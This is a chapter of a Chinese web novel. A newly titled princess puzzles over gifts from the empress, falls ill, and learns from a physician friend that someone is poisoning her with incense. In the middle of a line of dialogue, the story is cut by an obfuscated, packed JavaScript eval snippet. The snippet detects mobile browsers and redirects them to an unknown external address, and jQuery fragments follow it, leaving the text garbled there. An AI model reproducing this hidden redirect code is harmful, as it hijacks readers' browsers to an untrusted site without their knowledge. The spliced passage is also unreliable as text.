10. 平民怎配千金小姐

作品:《穿书后她和路人甲恋爱了

    只见桌上摆着一明黄,桌下是小小一个珍珠装潢的木匣。


    江晗晗行了跪礼接旨。


    只见那圣旨中写着“念承安郡主此番受苦,特赏宝物,以表安慰”。


    被绑架的安慰已在明面上给过了,想必是昨日游船闹出来的事。


    青云接过圣旨,小心收起。


    江晗晗打开木匣,入目是一翡翠玉镯,镯下压着一块玉锦布。


    江晗晗拿起玉镯看了看,似是皇后曾宝贝的一只,倒不知为何割爱给了她。


    玉锦布上绣着一对鸳鸯,这玉锦布带着些许陈旧,但难掩绣艺高超。


    江晗晗坐在主位上细细摩挲着。


    “小姐,这鸳鸯是何意啊?这总不能是陛下给您送来的吧?”白七带着些许怯懦。


    这皇帝可都五旬了,如何能给她家小姐送这样的东西。


    江晗晗摇摇头,道:“这是皇后娘娘给的,陛下应是不知道这木匣的,陛下给的圣旨已是保命之物,这木匣当是娘娘让公公捎来的。”


    “那这是娘娘给小姐的?娘娘为什么要给小姐这样的东西?像是……”


    “像是定情信物啊!”


    白七未说尽的话,青雨倒是补了上。


    江晗晗点点头:“这东西都有些年头了,虽不知娘娘什么用意,但还是小心收着吧。”


    江晗晗吩咐,正欲回房的步子顿住,转头道:“你们切忌私下讨论这些,要是人其他人听了去,可是万万不行的。”


    “是。”“是。”


    江晗晗躺在床上还是有些困惑,父亲为国捐躯,皇帝皇后表达对忠臣的告慰封她为郡主,按理来说已是仁至义尽。


    何必又因为太子仅在大庭广众下给了她一掌就又下圣旨又私下赐赏呢?


    皇帝安抚也就算了,这皇后竟舍得把她珍藏了多年的翡翠也送来给她。


    这玉锦布上的鸳鸯,应是皇后亲手所绣,也不知是为什么要给她。


    江晗晗想着想着便入睡了。


    次日再醒时已经到了晌午。


    她只觉浑身酸软无力,身上燥热。


    “小姐,您知不知道您得了风寒啊!”白七拿下她头上已温热的毛巾,换上了另一个浸湿了的。


    江晗晗开口,听到自己的嗓子如含沙般粗粝:“我说怎么昨夜那么困呢,倒是找到病因了“


    江晗晗笑着轻咳出声。


    白七递上一盏温水:“小姐,那江医师还在门外等候。”


    “嗯?”


    “今早奴婢来给您更衣,就看见您脸上泛红,一摸烫的不行,赶忙给您换了衣裳,青雨出去找医师路上刚好遇见将军和江公子来府,就让江公子来给您治了。“白七边给江晗晗捏着胳膊边说着上午的事。


    “嗯,那祁将军的?他没来?”


    “将军应是宫中有事,来了没待多久便走了。”


    江晗晗点头,让白七扶她到桌前后,才示意让江禹进来。


    江禹背着药箱,笑嘻嘻的看着桌边面色苍白的江晗晗道:“祁兄的话真是没错,得亏出发前让我带上了些药箱。”


    “啊?他知道我会生病?”


    “哈哈哈。”江禹被江晗晗的迟顿逗的发笑,“你昨日面上就有些病气,不病才怪呢。”


    江晗晗撇嘴:“为什么不早点告诉我?”


    “啧啧,祁韫说了,让你长长记性,别逞能了。”


    “……”江晗晗无语。


    这男人非打压她不可?实在可恶!


    “那熏香你有帮我看看吗?”江晗晗询问。


    江禹得意一笑:“当然。”


    说着顺势从拿出那个荷包,放在桌上:“这里面添了些迷心香。“


    “迷心香?”


    “这香无色无味,但长久以来会大程度破坏你身子的根基,郡主该查查这府中之人。”江禹自己照顾自己,给自己倒了杯龙井。


    尝了一口眼都亮了:“你这茶真是新鲜,祁韫那里都不一定喝得上这上好龙井!”


    “……想要直说。”江晗晗无语,对着白七吩咐,“取罐龙井来,一会儿给江公子。”


    “是。”


    白七身影缓缓离去,江晗晗直视着江禹。


    “不是白七。”


    “嗯?郡主为何如此确定?越是身边人越应当小心啊。”江禹笑笑。


    “我的身份还不至于让他们收买的贴身丫头来害我。”


    “哈哈哈,郡主对自己的认知也太清晰了,不过在下是真心认为这龙井好,应是今年南方新往宫中上的吧。”


    “是皇后赏来的。”江晗晗有些兴致缺缺地回答。


    江禹挑眉:“皇后对你可真好,不知道的还以为你是皇后的亲生女儿呢。”


    “此话怎讲。”


    “今年南方茶业收成并不好,宫中所得顶级龙井比往年少了将近一半,你作为郡主却还能收到这样品级的龙井,啧。”江禹摇摇头。


    原书中并没说皇后与江晗有血缘关系,江晗记忆中也是对母亲有些淡薄印象的,所以与皇后是母女的话定是不可能。


    江晗晗摇摇头:“她并非我娘,是什么其他原因罢。”


    “想让你嫁给太子?”江禹手摩挲着下巴,似是真在思考这件事情是否真实。


    江晗晗无语,这江禹今日废话蠢话着实有些多了,先不说太子看不看得上她,就她这个无权无势的孤女,江父的功绩再如何高,她也配不得太子。


    “去一边去。”江晗晗冷酷无情地凶道。


    以至于祁韫一来就看见江禹一副调戏良家妇女的样子,而江晗晗则是满脸不爽。


    “江禹还欺负上承安郡主了?”祁韫在江晗晗身边坐下。


    江禹连忙摆手,故作惊慌:“我哪儿敢,草民哪里惹得起官家人。”


    江晗晗噗笑一声:“你不仅敢,你还见人下菜碟,刚刚祁韫来之前你才不是这样!”


    “哦?是这样吗江公子?趁我不在就这样欺负我的未婚妻呢?“祁韫噙着笑。


    “哎哟哎哟,你俩人,我都懒得说。”江禹狠狠喝了三杯龙井。


    他的话惹得江晗晗因病气而苍白的脸上,沾上了一抹绯红,倒是有些姑娘家的羞涩露出。


    “咳。”江晗晗清清嗓,问向祁韫:“宫中有什么事情呀?”


    “三皇子昨日回京,赈灾有功,想着如何赏赐呢。“


    “就这?“


    “陛下还想让我再去一趟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326144|167629||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,平匪患。”


    “任城这块地方匪患可是不轻啊。”江禹忽的道。


    江晗晗有些意外,江禹竟对这些小城了解这么详细?


    祁韫似是看出她的不解,道:“江禹钻研医术,这几年来四处走,这些小城他都曾无偿行医治病。”


    江晗晗了然:“那陛下让你去……这回应该很危险啊。”


    “比不过边地的敌人凶险,更重要的是那里的城主。”


    江禹听着他的话,点点头:“那任城城主,难办,官匪勾结,怕是要占地为王啊。”


    江晗晗蹙眉:“那任城百姓岂不是苦不堪言?”


    祁韫点点头:“所以才要去平匪患,顺便要帮陛下物色合适的城主人选。“


    江晗晗叹了口气:“那这事情不好办呐,办好了皇室都要担心你功高震主,办不好又损你声望。”


    江禹一听,起了兴:“这还不简单?你跟着去不得了,到时候真论功行赏,你二人平分嘛。”


    江晗晗一想这事情这样办真可以,看向祁韫。


    “你若没有意见,我自是可以,只是你的病……“


    “放心吧,有本神医在,不出三日,我就让郡主痊愈!”江禹拍拍胸脯。


    “嗯,那倒是可以。”祁韫也没了意见。


    “但是能不能带着我一起去呀,我想去看个熟人。”江禹又添了句。


    祁韫点了点头,同意了。


    江晗晗笑呵呵,那正好,趁着治病这段时间,好好查查是谁敢给她下毒。


    …………


    江禹取了茶叶便随着祁韫离开了郡主府。


    “老祁啊,我看郡主心里有你啊。”他坐在祁韫对面,淡淡出声。


    “她心中并不单单有我,有的太多了。”祁韫话中带着一丝他自己都未曾察觉的不满。


    “呵呵,郡主是个大活人,心里多装些东西是好的,经过上回绑架那事儿,我看如今啊,郡主这才有了些郡主样儿。“江禹轻哼,但一顿,又说,“只不过,之前我未曾注意到这皇后对郡主竟这般好。”


    说着他颠了颠手中的茶盒,示意道:“看着顶尖的雨前龙井,几位公主那里都没有的玩意,郡主就有。”


    祁韫从中抽出一丝茶,闻了闻,的确是极好的。


    他笑了笑:“皇后若是对她不好,才应该让人奇怪呢。”


    “此话怎讲?”


    “江父与皇后可是青梅竹马,当年江父为了皇后入了兵营,拼得功勋,奈何抵不过皇后一族为了权势让她嫁给了当时还是太子的陛下,你说说对着故人之女,你觉得她能无动于衷吗?”


    祁韫阖上眼,似是有些疲惫。


    陈年旧事,他知晓的也并不多,大部分都是他爹给他讲来的,至于江晗晗,江母早逝,江父怎会对她唯一的女儿讲这些。


    这段感情,早就该泯灭在时间和权势里了,这皇后却非再给江晗晗添上些恩赐。


    “啧啧啧,没办法啊,谁让他们都身不由己,这情本就是错的,平民配千金小姐,江将军也是有魄力。“


    祁韫不语,假寐上了。


    与此同时,另一边的江晗晗,已经想好了一个引蛇出洞的好办法,但正在苦兮兮的喝药呢。